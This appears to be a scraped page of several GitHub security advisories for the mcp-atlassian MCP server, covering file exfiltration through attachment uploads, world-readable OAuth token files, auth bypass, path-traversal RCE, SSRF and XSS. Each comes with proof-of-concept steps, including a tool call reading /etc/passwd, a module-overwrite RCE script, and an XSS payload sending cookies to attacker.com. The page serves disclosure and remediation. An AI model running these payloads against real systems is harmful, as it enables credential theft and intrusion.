Where
-Infinity
0
Severity
7.7
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Summary

The uploadattachment method in confluence/attachments.py reads and uploads arbitrary local files to Confluence without calling validatesafepath(). Both download methods (downloadattachment at line 223, downloadcontentattachments at line 272) correctly call validatesafepath() before writing files, but the upload path at lines 35-79 skips this check entirely.

An AI agent connected via MCP (or an attacker influencing that agent through prompt injection) can read any file on the host and exfiltrate it by uploading it as a Confluence page attachment.

Vulnerable Code

File: src/mcpatlassian/confluence/attachments.py, lines 62-79

python No validatesafepath() call anywhere in this method if not os.path.isabs(filepath): filepath = os.path.abspath(filepath)

if not os.path.exists(filepath): return {"success": False, "error": f"File not found: {filepath}"}

filename = os.path.basename(filepath) attachment = self.uploadattachmentdirect( contentid, filepath, filename, comment, minoredit )

The validatesafepath function is already imported at line 9 of the same file, and used in the download methods. It was just not added to the upload path.

Proof of Concept

Tested with mcp-atlassian 0.21.1 on Python 3.11 (EC2, Amazon Linux 2023).

python import inspect from mcpatlassian.confluence.attachments import AttachmentsMixin

Confirm: no validatesafepath in upload source = inspect.getsource(AttachmentsMixin.uploadattachment) assert "validatesafepath" not in source # passes

Confirm: validatesafepath IS in downloads assert "validatesafepath" in inspect.getsource(AttachmentsMixin.downloadattachment) # passes assert "validatesafepath" in inspect.getsource(AttachmentsMixin.downloadcontentattachments) # passes

An MCP tool call like this reads /etc/passwd and uploads it to Confluence:

json {"tool": "confluenceuploadattachment", "arguments": {"contentid": "123456", "filepath": "/etc/passwd"}}

Impact

Exfiltration of any file readable by the MCP server process: SSH keys, AWS credentials, .env files, /etc/passwd, application secrets. Data leaves the local machine and lands on a remote Confluence instance accessible to other users.

Suggested Fix

Add validatesafepath(filepath) before the os.path.exists() check in uploadattachment, matching the existing pattern in the download methods. The function is already imported.

1 / 2
Source: GitHub
First published (updated )
Severity
6.1
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Summary

When OAuth tokens are saved, MCP Atlassian always writes a plaintext fallback copy under ~/.mcp-atlassian/oauth-<clientid>.json. The fallback file is created with the process default umask rather than restrictive permissions. In this environment the file was created as mode 0664, exposing access and refresh tokens to same-group local users and any process that can read the home directory.

Details

OAuthConfig.savetokens() stores OAuth token data in keyring, but it also unconditionally maintains a plaintext file fallback for backwards compatibility in src/mcpatlassian/utils/oauth.py:350-386. If keyring saving fails it also falls back to the same file path in src/mcpatlassian/utils/oauth.py:387-391.

The fallback writer creates ~/.mcp-atlassian and then writes oauth-<clientid>.json with a normal open(tokenpath, "w") call in src/mcpatlassian/utils/oauth.py:392-420. No mode=0o600, os.open(..., 0o600), chmod, or owner-only directory permission is applied. The file contains both accesstoken and refreshtoken (src/mcpatlassian/utils/oauth.py:360-367) and is later loaded from the same plaintext path in src/mcpatlassian/utils/oauth.py:450-470.

The security policy warns that OAuth client credentials and secrets should not be exposed (SECURITY.md:39-44), but the current implementation creates a persistent plaintext token copy even when keyring succeeds.

PoC

The following safe local proof uses a temporary HOME and mocked keyring writes. It creates and deletes only temporary files.

bash uv run python - <<'PY' import json, os, shutil, stat, tempfile from pathlib import Path from unittest.mock import patch from mcpatlassian.utils.oauth import OAuthConfig

home = tempfile.mkdtemp(prefix='mcp-atlassian-oauth-poc-') oldhome = os.environ.get('HOME') os.environ['HOME'] = home try: cfg = OAuthConfig(clientid='poc-client', clientsecret='client-secret', redirecturi='http://localhost/callback', scope='offlineaccess', cloudid='cloud-id') cfg.accesstoken = 'poc-access-token' cfg.refreshtoken = 'poc-refresh-token' cfg.expiresat = 2000000000 with patch('keyring.setpassword', returnvalue=None): cfg.savetokens() tokenfile = Path(home) / '.mcp-atlassian' / 'oauth-poc-client.json' mode = stat.SIMODE(tokenfile.stat().stmode) data = json.loads(tokenfile.readtext()) print(json.dumps({ 'tokenfileexists': tokenfile.exists(), 'tokenfilemodeoctal': oct(mode), 'containsaccesstoken': data.get('accesstoken') == 'poc-access-token', 'containsrefreshtoken': data.get('refreshtoken') == 'poc-refresh-token', 'tokenfilepath': str(tokenfile), }, indent=2, sortkeys=True)) finally: if oldhome is not None: os.environ['HOME'] = oldhome else: os.environ.pop('HOME', None) shutil.rmtree(home) PY

Observed output from this environment:

json { "containsaccesstoken": true, "containsrefreshtoken": true, "tokenfileexists": true, "tokenfilemodeoctal": "0o664", "tokenfilepath": "/tmp/mcp-atlassian-oauth-poc-9m9wvktp/.mcp-atlassian/oauth-poc-client.json" }

The proof confirms that a plaintext file containing both access and refresh tokens is created and is not owner-only.

Impact

A local user, container sidecar, compromised dependency, backup job, or other process with filesystem read access to the account's home directory can recover OAuth access and refresh tokens. Refresh tokens can allow continued Atlassian API access until revoked or expired, depending on the OAuth app and token policy. In shared hosts, Kubernetes volumes, developer workstations, and CI runners, this can lead to persistent Atlassian account compromise.

1 / 2
Source: GitHub
First published (updated )
Severity
8.3
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

The Jira and Confluence attachment upload tools accept caller-controlled file path parameters and read those paths from the MCP server's local filesystem before uploading the file as an Atlassian attachment.

In local stdio deployments, this can expose files readable by the user's MCP process. In documented HTTP/SSE or streamable-http deployments, the impact is higher: any MCP client that is allowed to invoke write/upload tools can cause the server process to read a server-local file and upload it to Jira or Confluence.

This is not dependent on an AI prompt injection or model behavior. It can be triggered deterministically with a normal MCP tool call.

Details

The vulnerable behavior exists because upload tool arguments are treated as server-local filesystem paths.

Relevant implementation points:

- mcpatlassian.confluence.attachments.AttachmentsMixin.uploadattachment - Accepts filepath. - Converts the supplied value to an absolute path when needed. - Checks existence with os.path.exists. - Passes the path into the attachment upload flow.

- mcpatlassian.confluence.attachments.AttachmentsMixin.uploadattachmentdirect - Opens the supplied filepath with open(filepath, "rb"). - Sends the resulting file object as multipart form data to Confluence.

- mcpatlassian.confluence.attachments.AttachmentsMixin.uploadattachments - Iterates caller-supplied filepaths. - Calls uploadattachment for each path.

- mcpatlassian.jira.attachments.AttachmentsMixin.uploadattachment - Accepts filepath. - Converts the supplied value to an absolute path when needed. - Checks existence with os.path.exists. - Opens the file and uploads it as a Jira attachment.

- mcpatlassian.jira.attachments.AttachmentsMixin.uploadattachments - Iterates caller-supplied filepaths. - Calls uploadattachment for each path.

- mcpatlassian.servers.jira.updateissue - Accepts an attachments argument as a JSON array string or comma-separated string. - Converts it into attachment paths and passes them into the Jira update flow.

The project also documents non-stdio deployment modes:

- sse - streamable-http - multi-user authentication - Docker and Kubernetes deployment

Therefore the upload path arguments should not be treated as if they always come from a single fully trusted local desktop user. In an HTTP or multi-user deployment, the caller and the server-local filesystem are separate security boundaries.

The core issue is that the MCP caller can choose a path, while the MCP server reads that path using the server process privileges and sends the bytes to a remote Jira or Confluence attachment endpoint.

Expected behavior:

- Server-local file uploads should be denied by default in HTTP/SSE or multi-user deployments, or - Uploads should be constrained to an explicit allowlisted upload directory after realpath resolution, and - Dangerous path forms such as remote UNC paths and file:// URLs should be rejected before filesystem checks.

PoC

The following proof of concept uses a benign temporary file generated at runtime. It does not rely on prompt injection or any AI/LLM behavior. It uses a normal MCP client call against a test Confluence page controlled by the tester.

Prerequisites:

- A test Confluence site. - A test page content ID where the tester is allowed to upload attachments. - A test Confluence API token or another supported authentication method. - Python 3.10 or newer.

Start mcp-atlassian in HTTP mode:

bash docker run --rm -p 9000:9000 \ -e CONFLUENCEURL="https://<your-test-site>.atlassian.net/wiki" \ -e CONFLUENCEUSERNAME="<tester-email>" \ -e CONFLUENCEAPITOKEN="<tester-api-token>" \ ghcr.io/sooperset/mcp-atlassian:latest \ --transport streamable-http --host 0.0.0.0 --port 9000

Install the MCP Python client:

bash python -m pip install "mcp>=1.8.0"

Run this standalone client script:

python import asyncio import os import tempfile from pathlib import Path

from mcp import ClientSession from mcp.client.streamablehttp import streamablehttpclient

async def main() -> None: mcpurl = os.environ.get("MCPURL", "http://127.0.0.1:9000/mcp") contentid = os.environ["CONFLUENCECONTENTID"]

proofdir = Path(tempfile.mkdtemp(prefix="mcp-atlassian-proof-")) prooffile = proofdir / "server-local-proof.txt" prooffile.writetext( "This benign file was read from the MCP server filesystem and uploaded by an MCP tool call.\n", encoding="utf-8", )

async with streamablehttpclient(mcpurl) as (readstream, writestream, ): async with ClientSession(readstream, writestream) as session: await session.initialize() result = await session.calltool( "confluenceuploadattachments", { "contentid": contentid, "filepaths": str(prooffile), "comment": "Security test: benign server-local upload proof", "minoredit": True, }, ) print(result) print(f"Uploaded test filename: {prooffile.name}")

if name == "main": asyncio.run(main())

Run it with the test page ID:

bash CONFLUENCECONTENTID="<test-page-content-id>" python poc.py

Observed result:

1. The MCP client sends a normal confluenceuploadattachments tool call. 2. The MCP server reads the temporary file from its own filesystem. 3. The MCP server uploads that file as an attachment to the configured Confluence page. 4. The uploaded attachment appears on the test page.

Security significance:

- The MCP caller did not need shell access to the server. - The MCP caller did not need direct filesystem access to the server. - The MCP caller only needed permission to invoke the upload tool. - The file read happened with the privileges of the MCP server process.

The same class of issue applies to Jira attachment upload flows that accept caller-controlled file path parameters.

Impact

This is a server-local file disclosure and exfiltration primitive through attachment upload tools.

Impacted users:

- Users running mcp-atlassian with write/upload tools enabled. - Operators exposing mcp-atlassian through sse or streamable-http. - Multi-user deployments where MCP callers are not fully trusted with arbitrary read access to the MCP server filesystem. - Docker or Kubernetes deployments where the MCP process can read environment files, mounted secrets, service account tokens, application configuration, or shared volumes.

Potential attacker:

- A malicious or compromised MCP client with permission to invoke attachment upload tools. - A malicious user in a multi-user MCP deployment. - An attacker who can supply or influence MCP tool arguments through an integrated workflow.

Potentially exposed data depends on the deployment, but can include files readable by the MCP server process, such as:

- application configuration - deployment secrets - cloud or service credentials mounted into the runtime - CI/CD or automation tokens - other files available to the MCP server user

This issue does not require prior compromise of the internal network in deployments where the MCP service is intentionally exposed over HTTP/SSE to multiple users or external MCP clients. The attacker only needs the ability to invoke the upload tool. The server then reads the chosen path with its own process privileges and uploads it to Jira or Confluence.

If the intended security model is that every MCP caller is fully trusted with arbitrary read access to the server filesystem, that should be documented explicitly. Otherwise, server-local file path uploads should be opt-in and constrained to a configured upload root.

Suggested fixes:

- Default-deny server-local path uploads in HTTP/SSE and multi-user deployments. - Add an explicit opt-in flag for server-local upload paths. - Require an allowlisted upload root and enforce it after realpath resolution. - Reject file:// URLs and remote UNC path forms before any filesystem operation. - Prefer client-provided file/resource blobs over server-local path strings for remote MCP deployments.

1 / 2
Source: GitHub
First published (updated )
Severity
10
SSRF
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

Description

mcp-atlassian deploys in two common patterns:

Pattern A (single-user, server-side credentials): operator sets JIRAUSERNAME + JIRAAPITOKEN (or CONFLUENCEUSERNAME + CONFLUENCEAPITOKEN) in environment variables. Server uses these to call Jira/Confluence. This is the documented quickstart pattern.

Pattern B (multi-user, OAuth or per-request PAT): operator sets up OAuth proxy or accepts per-user tokens via Authorization or service headers.

The authentication mechanism in HTTP transport has two issues that combine to permit unauthenticated access to Pattern A deployments:

1. AtlassianOpaqueTokenVerifier.verifytoken() at src/mcpatlassian/utils/tokenverifier.py accepts any non-empty string as a valid token:

async def verifytoken(self, token: str) -> AccessToken | None: if not token: return None scopes = self.requiredscopes or [] return AccessToken( token=token, clientid="atlassian", scopes=scopes, expiresat=int(time.time()) + 86400 30, )

The docstring documents this: "we accept non-empty tokens and attach the required scopes."

2. The default deployment does NOT enable the OAuth proxy auth provider (OAUTHPROXYENABLEENV defaults to false; main.py:726). When buildauthprovider() returns None, FastMCP HTTP transport accepts requests with no authentication challenge.

3. UserTokenMiddleware.parseauthheader (main.py:601-664) extracts tokens from Authorization headers and stores them in scope state. If NO Authorization header is present (main.py:584-595), the middleware does not reject the request — it simply does not populate useratlassiantoken.

4. JiraFetcher / ConfluenceFetcher fall back to JiraConfig.fromenv() when no user-supplied token is in scope state. fromenv() reads JIRAAPITOKEN and JIRAUSERNAME from environment and uses them as the API credentials.

Composition: an attacker who reaches the HTTP transport (e.g., server exposed on a port reachable from attacker — direct bind, Docker port mapping, reverse proxy without auth, container in a network the attacker joined) can:

- Send no Authorization header at all, OR - Send any garbage Bearer token

Either request reaches tool handlers. The tool handlers, finding no user-supplied token, use the server's env-var credentials to call Jira / Confluence. The attacker has full operator-level access to the operator's Atlassian instance.

This is the same vulnerability class as CVE-2026-27825 (Arctic Wolf, unauthenticated RCE+SSRF in Atlassian MCP). The previous CVE was for a different code path; this report concerns the auth verifier and middleware behavior present in the current main branch. Steps to Reproduce

Source-level demonstration:

1. Verify the verifier accepts arbitrary tokens:

cd src/ python -c " import asyncio from mcpatlassian.utils.tokenverifier import AtlassianOpaqueTokenVerifier v = AtlassianOpaqueTokenVerifier(requiredscopes=['read:jira-work']) result = asyncio.run(v.verifytoken('anything-at-all')) print('Accepted:', result is not None) print('Token stored:', result.token if result else None) print('Scopes granted:', result.scopes if result else None) "

Expected: Accepted: True Token stored: anything-at-all Scopes granted: ['read:jira-work']

End-to-end (researcher's own Atlassian sandbox):

1. Start mcp-atlassian in HTTP mode against a researcher-owned Atlassian Cloud instance with JIRAAPITOKEN configured:

export JIRAURL=https://researcher.atlassian.net export JIRAUSERNAME=researcher@example.com export JIRAAPITOKEN=<researcher's-real-token> export MCPTRANSPORT=streamable-http export PORT=3000 # Do NOT set OAUTHPROXYENABLEENV — leave it default (false) mcp-atlassian

2. From another machine (or curl on localhost), with no auth:

curl -X POST http://localhost:3000/mcp \ -H "content-type: application/json" \ -H "accept: application/json, text/event-stream" \ -d '{ "jsonrpc":"2.0", "id":1, "method":"tools/call", "params":{ "name":"jiragetissue", "arguments":{"issuekey":"PROJ-1"} } }'

Expected: returns the Jira issue payload — using the server's JIRAAPITOKEN to authenticate to Atlassian. No client-side token provided.

3. Optional: same call with a garbage Bearer for completeness:

curl ... -H "Authorization: Bearer anything-at-all" ...

Same result. Impact: Attacker profile: any party with network reach to the HTTP transport. No credentials, no prior account, no privileged position required.

Typical deployment patterns at risk:

- Docker compose with port exposed (very common in mcp-atlassian's docs and community deployments) - Cloud-deployed MCP server behind a load balancer where the LB doesn't enforce auth (delegates to the application) - Internal corporate network where any employee can reach the server - Misconfigured Kubernetes ingress - Tunneled MCP server via ngrok / Cloudflare Tunnel for development that gets left exposed

Security impact after exploitation:

1. Full Jira read access. Every project, every issue, every comment, every attachment, every user — using the operator's API token.

2. Full Jira write access. Create, edit, delete issues. Add comments under the operator's identity. Move issues across boards. Bulk-edit.

3. Full Confluence read/write access. Same surface — pages, spaces, attachments, permissions, restricted spaces visible to the operator's identity.

4. Audit trail names the operator. Every API call is signed with the operator's token. From Atlassian's logging side, the operator is the actor — covering the attacker's tracks and shifting blame.

5. Pivot. Attachments often contain credentials, infrastructure diagrams, customer data. Confluence pages often store secrets in plaintext under the assumption of access control.

6. Persistence. Attacker can create new Jira webhooks, automation rules, or Confluence integrations that survive beyond the MCP session.

CVE-2026-27825 (Arctic Wolf, May 2026) was scored CVSS 9.8 Critical for unauth RCE+SSRF in this same code surface. This report is the auth-bypass component of the same class against the current main branch.

Suggested Fix

The most direct fix is the standard MCP-server-with-env-creds pattern:

1. When OAUTHPROXYENABLEENV is not set, REFUSE to start the HTTP transport unless an explicit "single-user mode" flag is set:

SINGLEUSERMODE = isenvtruthy("MCPATLASSIANSINGLEUSER") if MCPTRANSPORT == "streamable-http" and not authprovider and not SINGLEUSERMODE: raise SystemExit( "HTTP transport requires either OAUTHPROXYENABLE=true " "or MCPATLASSIANSINGLEUSER=true (acknowledges that env " "credentials will be used for any incoming request)." )

2. Even with SINGLEUSERMODE, bind the HTTP transport to 127.0.0.1 by default unless the operator overrides with an explicit MCPATLASSIANBINDPUBLIC=true.

3. Document the multi-tenant pattern as requiring OAuth proxy or per-request user-token middleware with a verifier that actually verifies (not the opaque-accept-anything stub).

4. Replace AtlassianOpaqueTokenVerifier with a verifier that performs a token-info or whoami call to Atlassian. The fact that Atlassian tokens are opaque does not preclude verification — a /rest/api/3/myself call validates the token and returns the associated user, which the verifier can attach to the AccessToken's scopes and userid fields.

Defense in depth: the README quickstart should not encourage exposing the HTTP transport without auth. The docker-compose.yml in the repo should bind to 127.0.0.1 only by default.

1 / 2
Source: GitHub
First published (updated )
Severity
8.3
Path Traversal, Code Injection
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

The path traversal fix introduced in v0.17.0 (GHSA-xjgw-4wvw-rgm4) is incomplete. validatesafepath() is called without an explicit basedir, defaulting to os.getcwd(). In standard container deployments the process CWD is the application directory (e.g. /app), so paths within that directory, including the application's own Python source modules, pass validation without raising an exception. An attacker can overwrite a module file and achieve remote code execution on the next process restart. Versions >= 0.17.0 are not fully patched as stated in the original advisory. Confirmed on v0.21.0 (latest).

Details

src/mcpatlassian/utils/io.py — validatesafepath() defaults to CWD when no basedir is supplied:

python def validatesafepath(path, basedir=None) -> Path: if basedir is None: basedir = os.getcwd() # root of the issue resolvedbase = Path(basedir).resolve(strict=False) ... if not resolvedpath.isrelativeto(resolvedbase): raise ValueError("Path traversal detected")

Both call sites in src/mcpatlassian/confluence/attachments.py omit basedir:

python validatesafepath(targetpath) # line ~227, downloadattachment() validatesafepath(targetdir) # line ~270, downloadcontentattachments()

When the process CWD is /app, any path under /app satisfies isrelativeto(CWD) and passes the guard, including all Python source modules:

/app/src/mcpatlassian/confluence/attachments.py -> passes, no exception /app/src/mcpatlassian/servers/main.py -> passes, no exception /app/.env -> passes, no exception

PoC

Prerequisites: same as GHSA-xjgw-4wvw-rgm4 — Confluence credentials with write access to at least one page, and network access to the MCP HTTP port. Additionally requires Python 3.10+ and uvx to run the proof below.

The script imports validatesafepath directly from the installed package, not a simulation of the function.

python pocbypass.py import os, tempfile, shutil, importlib.util from pathlib import Path from mcpatlassian.utils.io import validatesafepath # real package

print(f"Module: {validatesafepath.module}")

Simulate /app (standard container CWD) appdir = tempfile.mkdtemp(prefix="mcpatlassianapp") moduledir = os.path.join(appdir, "src", "mcpatlassian") os.makedirs(moduledir) modulepath = os.path.join(moduledir, "attachments.py") Path(modulepath).writetext('def getsecret(): return "LEGITIMATE"\n') os.chdir(appdir)

Control: classic traversal is blocked try: validatesafepath("/etc/passwd") except ValueError: print("[OK] /etc/passwd blocked")

Bypass: intra-CWD path passes without exception result = validatesafepath(modulepath) print(f"[BYPASS] {result} - no exception raised")

Overwrite module with attacker payload (content sourced from a Confluence attachment uploaded by the attacker) Path(modulepath).writebytes( b"import os\nPWNED=True\n" b"def getsecret():\n" b" os.system('id')\n" b" return 'PWNED'\n" ) print("[WRITE] Module overwritten with malicious payload")

Simulate process restart / module reload spec = importlib.util.specfromfilelocation("m", modulepath) mod = importlib.util.modulefromspec(spec) spec.loader.execmodule(mod) # os.system('id') executes here

print(f"[RCE] getsecret() = {repr(mod.getsecret())}") print(f"[RCE] PWNED = {mod.PWNED}")

shutil.rmtree(appdir)

bash uvx --from mcp-atlassian python pocbypass.py

Verified output (mcp-atlassian 0.21.0):

Module: mcpatlassian.utils.io

[OK] /etc/passwd blocked [BYPASS] /tmp/mcpatlassianapp.../src/mcpatlassian/attachments.py - no exception raised [WRITE] Module overwritten with malicious payload uid=1000(appuser) gid=1000(appuser) groups=1000(appuser) [RCE] getsecret() = 'PWNED' [RCE] PWNED = True

Triggering via MCP tool: upload a malicious .py file as a Confluence attachment, then call:

json { "jsonrpc": "2.0", "id": 1, "method": "tools/call", "params": { "name": "confluencedownloadattachment", "arguments": { "pageid": "<pageid>", "attachmentid": "<maliciousattachmentid>", "downloadpath": "/app/src/mcpatlassian/confluence/attachments.py" } } }

validatesafepath does not raise. The module is overwritten and the payload executes on the next process restart.

Impact

Affected versions: 0.17.0 through 0.21.0 (latest).

Attack prerequisites are identical to those documented in GHSA-xjgw-4wvw-rgm4, which was rated CVSS 9.1 Critical. Operators who upgraded to >= 0.17.0 based on that advisory remain exposed. The MCP HTTP server binds to 0.0.0.0 with no authentication by default.

Suggested fix: pass a dedicated, explicitly configured directory as basedir instead of relying on CWD:

python DOWNLOADBASE = Path( os.environ.get("MCPDOWNLOADDIR", "/tmp/mcp-downloads") ).resolve()

validatesafepath(targetpath, basedir=DOWNLOADBASE)

1 / 2
Source: GitHub
First published (updated )
Severity
8.3
SSRF
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

The UserTokenMiddleware extracts URLs from X-Atlassian-Jira-Url and X-Atlassian-Confluence-Url HTTP headers and passes them directly to API client constructors without any SSRF validation.

Affected Package

- Ecosystem: PyPI - Package: mcp-atlassian - Affected versions: all versions before fix commit 5cd697dfce91 - Patched versions: >= commit 5cd697dfce91

Details

In main.py, processauthenticationheaders() extracts URLs from ASGI headers without validation. In dependencies.py, getjirafetcher() creates JiraConfig with url=jiraurlheader directly. There is no validateurl call, no IP range check, no hostname validation.

The fix adds URL validation to some paths but the header-based URL extraction in processauthenticationheaders() still passes raw URLs through. The derived config objects use the header URL directly and the fetcher makes HTTP requests to that URL.

PoC

python jiraurlheader = headers.get(b"x-atlassian-jira-url") jiraurlstr = jiraurlheader.decode("latin-1") if jiraurlheader else None serviceheaders["X-Atlassian-Jira-Url"] = jiraurlstr

Steps to reproduce: 1. git clone https://github.com/sooperset/mcp-atlassian /tmp/mcp-atlassiantest 2. cd /tmp/mcp-atlassiantest && git checkout 5cd697dfce91~1 3. pip install -e . 4. python3 poc.py

Expected output: VULNERABILITY CONFIRMED User-supplied URLs from HTTP headers passed directly to JiraConfig/JiraFetcher with no SSRF validation

Impact

An attacker can set X-Atlassian-Jira-Url: http://169.254.169.254/latest/meta-data/ to access AWS instance metadata, or target any internal service. The server makes authenticated HTTP requests to the attacker-specified URL.

Suggested Remediation

Validate all user-supplied URLs against an allowlist of permitted hostnames or reject private/loopback/link-local IP ranges. Consider requiring server-side configuration of allowed Atlassian instance URLs.

1 / 2
Source: GitHub
First published (updated )
Severity
5.4
XSS
AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Summary

The OAuth 2.0 setup wizard's local callback HTTP server reflects the error query parameter directly into an HTML response without any sanitization or encoding. An attacker can craft a malicious callback URL containing JavaScript in the error parameter that executes in the victim's browser when the setup wizard is running. The server binds to all network interfaces (0.0.0.0), making it accessible from the local network rather than just localhost.

Details

The vulnerability exists in the CallbackHandler class in src/mcpatlassian/utils/oauthsetup.py.

Step 1 -- Attacker-controlled input enters unsanitized:

At line 63-66, the error query parameter from the URL is read and interpolated into a message string without HTML escaping:

python src/mcpatlassian/utils/oauthsetup.py:63-66 if "error" in params: callbackerror = params["error"][0] callbackreceived = True self.sendresponse(f"Authorization failed: {callbackerror}")

Step 2 -- Unsanitized input is injected into HTML:

At line 124-125 in sendresponse, the message variable (containing the unescaped attacker input) is injected directly into the HTML template via f-string interpolation:

python src/mcpatlassian/utils/oauthsetup.py:124-125 <div class="message {"success" if status == 200 else "error"}"> <p>{message}</p> </div>

Step 3 -- Server listens on all interfaces:

At line 167, the callback server binds to all network interfaces, not just localhost:

python src/mcpatlassian/utils/oauthsetup.py:167 httpd = socketserver.TCPServer(("", port), handler)

This means the XSS is exploitable from any machine that can reach the victim's IP on the callback port (default 8080), not just from the local machine.

Step 4 -- No security headers:

The response at line 84-86 sets Content-type: text/html but does not include Content-Security-Policy, X-Content-Type-Options, or X-XSS-Protection headers:

python src/mcpatlassian/utils/oauthsetup.py:84-86 self.sendresponse(status) self.sendheader("Content-type", "text/html") self.endheaders()

PoC

Prerequisites: The victim must be running the OAuth setup wizard (mcp-atlassian --oauth-setup or runoauthsetup()), which starts the callback server.

Step 1 -- Craft the malicious URL:

http://<victim-ip>:8080/callback?error=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Step 2 -- Deliver the link to the victim:

Send the link to the victim (via email, chat, or any channel). When the victim clicks the link while their OAuth setup wizard is running, the JavaScript executes in their browser context.

Step 3 -- Verify with a simpler payload:

bash Start the setup wizard (victim's machine) uv run mcp-atlassian --oauth-setup

From attacker's machine (or same network): curl "http://<victim-ip>:8080/callback?error=%3Cscript%3Ealert(document.domain)%3C/script%3E"

The response HTML will contain: html <p>Authorization failed: <script>alert(document.domain)</script></p>

Impact

- JavaScript execution in the victim's browser context during the OAuth setup flow. - While the callback server is short-lived (only active during initial setup), the exposure window is meaningful because: 1. The server binds to all interfaces, making it accessible from the local network. 2. The setup wizard waits up to 300 seconds (5 minutes) for the callback (line 174). 3. During this window, any crafted request triggers the XSS. - An attacker on the same network could potentially intercept or manipulate the OAuth authorization code, since the callback also handles code and state parameters on the same endpoint.

Recommended Fix

1. HTML-escape the message before injecting into the template:

python src/mcpatlassian/utils/oauthsetup.py import html

def sendresponse(self, message: str, status: int = 200) -> None: """Send response to the browser.""" self.sendresponse(status) self.sendheader("Content-type", "text/html") self.sendheader("X-Content-Type-Options", "nosniff") self.sendheader("Content-Security-Policy", "default-src 'none'; style-src 'unsafe-inline'; script-src 'unsafe-inline'") self.endheaders()

# Escape user-controlled content before HTML injection safemessage = html.escape(message)

htmlcontent = f""" ... <div class="message {"success" if status == 200 else "error"}"> <p>{safemessage}</p> </div> ... """

2. Bind the callback server to localhost only:

python src/mcpatlassian/utils/oauthsetup.py:167 Change from: httpd = socketserver.TCPServer(("", port), handler) To: httpd = socketserver.TCPServer(("127.0.0.1", port), handler)

1 / 2
Source: GitHub
First published (updated )
Severity
5.5
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Summary

The OAuth token fallback file storage in OAuthConfig.savetokenstofile() creates token files containing access tokens, refresh tokens, and cloud IDs with default filesystem permissions (typically 0644 on Linux, world-readable). Any local user on a shared system can read these files to obtain full Atlassian API credentials, enabling unauthorized access to the victim's Jira and Confluence data.

Details

The vulnerability exists in src/mcpatlassian/utils/oauth.py in the savetokenstofile method.

Step 1 -- Directory created without restrictive permissions:

At line 402-403, the token directory is created with mkdir(existok=True) which uses the default umask (typically creating directories with mode 0755):

python src/mcpatlassian/utils/oauth.py:402-403 tokendir = Path.home() / ".mcp-atlassian" tokendir.mkdir(existok=True)

Step 2 -- Token file written with default permissions:

At line 417-418, the token file containing sensitive credentials is written using open() with no explicit mode, inheriting default umask permissions (typically 0644 on Linux):

python src/mcpatlassian/utils/oauth.py:406-418 tokenpath = tokendir / f"oauth-{self.clientid}.json"

if tokendata is None: tokendata = { "refreshtoken": self.refreshtoken, "accesstoken": self.accesstoken, "expiresat": self.expiresat, "cloudid": self.cloudid, "baseurl": self.baseurl, }

with open(tokenpath, "w") as f: json.dump(tokendata, f)

Step 3 -- The file contains full API credentials:

The token file contains: - accesstoken: A valid OAuth access token for the Atlassian API - refreshtoken: Can be exchanged for new access tokens indefinitely - cloudid: Identifies the target Atlassian Cloud instance - baseurl: The target Data Center instance URL

No os.chmod or os.fchmod is called anywhere after file creation.

The primary storage via keyring (line 373) is secure, but the fallback file storage at line 386 is always written in addition to keyring (line 386: self.savetokenstofile(tokendata)). When keyring fails (common in headless/container/CI environments), the fallback becomes the only storage.

PoC

bash Step 1: Victim runs mcp-atlassian with OAuth and completes the flow. This creates the token file.

Step 2: As any other user on the same system, read the token file: cat /home/victim/.mcp-atlassian/oauth-.json

Expected output (sensitive credentials in plaintext): {"refreshtoken": "eyJ...", "accesstoken": "eyJ...", "expiresat": 1741234567.0, "cloudid": "abc-123", "baseurl": null}

Step 3: Verify the token works: curl -H "Authorization: Bearer <stolenaccesstoken>" \ "https://api.atlassian.com/ex/jira/<stolencloudid>/rest/api/3/myself"

Step 4: Use the refresh token to get a new access token: curl -X POST "https://auth.atlassian.com/oauth/token" \ -d "granttype=refreshtoken" \ -d "clientid=<fromenv>" \ -d "clientsecret=<fromenv>" \ -d "refreshtoken=<stolenrefreshtoken>"

Verify file permissions (on Linux/macOS):

bash ls -la ~/.mcp-atlassian/ drwxr-xr-x 2 user user 4096 Mar 10 12:00 . -rw-r--r-- 1 user user 256 Mar 10 12:00 oauth-abc123.json ^^ ^^ ^^ world-readable!

Impact

- Credential theft: Any local user can read the OAuth tokens and impersonate the victim on their Atlassian Cloud/Data Center instance. - Persistent access: The refresh token allows the attacker to generate new access tokens indefinitely, even after the original access token expires. - Full API access: The stolen tokens grant the same API permissions as the victim, including reading/writing Jira issues, Confluence pages, and potentially sensitive project data. - Affected environments: Shared servers, CI/CD runners, multi-user workstations, and containerized deployments where the fallback file storage is used (keyring unavailable).

Recommended Fix

1. Set restrictive permissions on the directory and file:

python src/mcpatlassian/utils/oauth.py

import os import stat

def savetokenstofile(self, tokendata: dict | None = None) -> None: """Save the tokens to a file as fallback storage.""" try: tokendir = Path.home() / ".mcp-atlassian" tokendir.mkdir(existok=True, mode=0o700)

tokenpath = tokendir / f"oauth-{self.clientid}.json"

if tokendata is None: tokendata = { "refreshtoken": self.refreshtoken, "accesstoken": self.accesstoken, "expiresat": self.expiresat, "cloudid": self.cloudid, "baseurl": self.baseurl, }

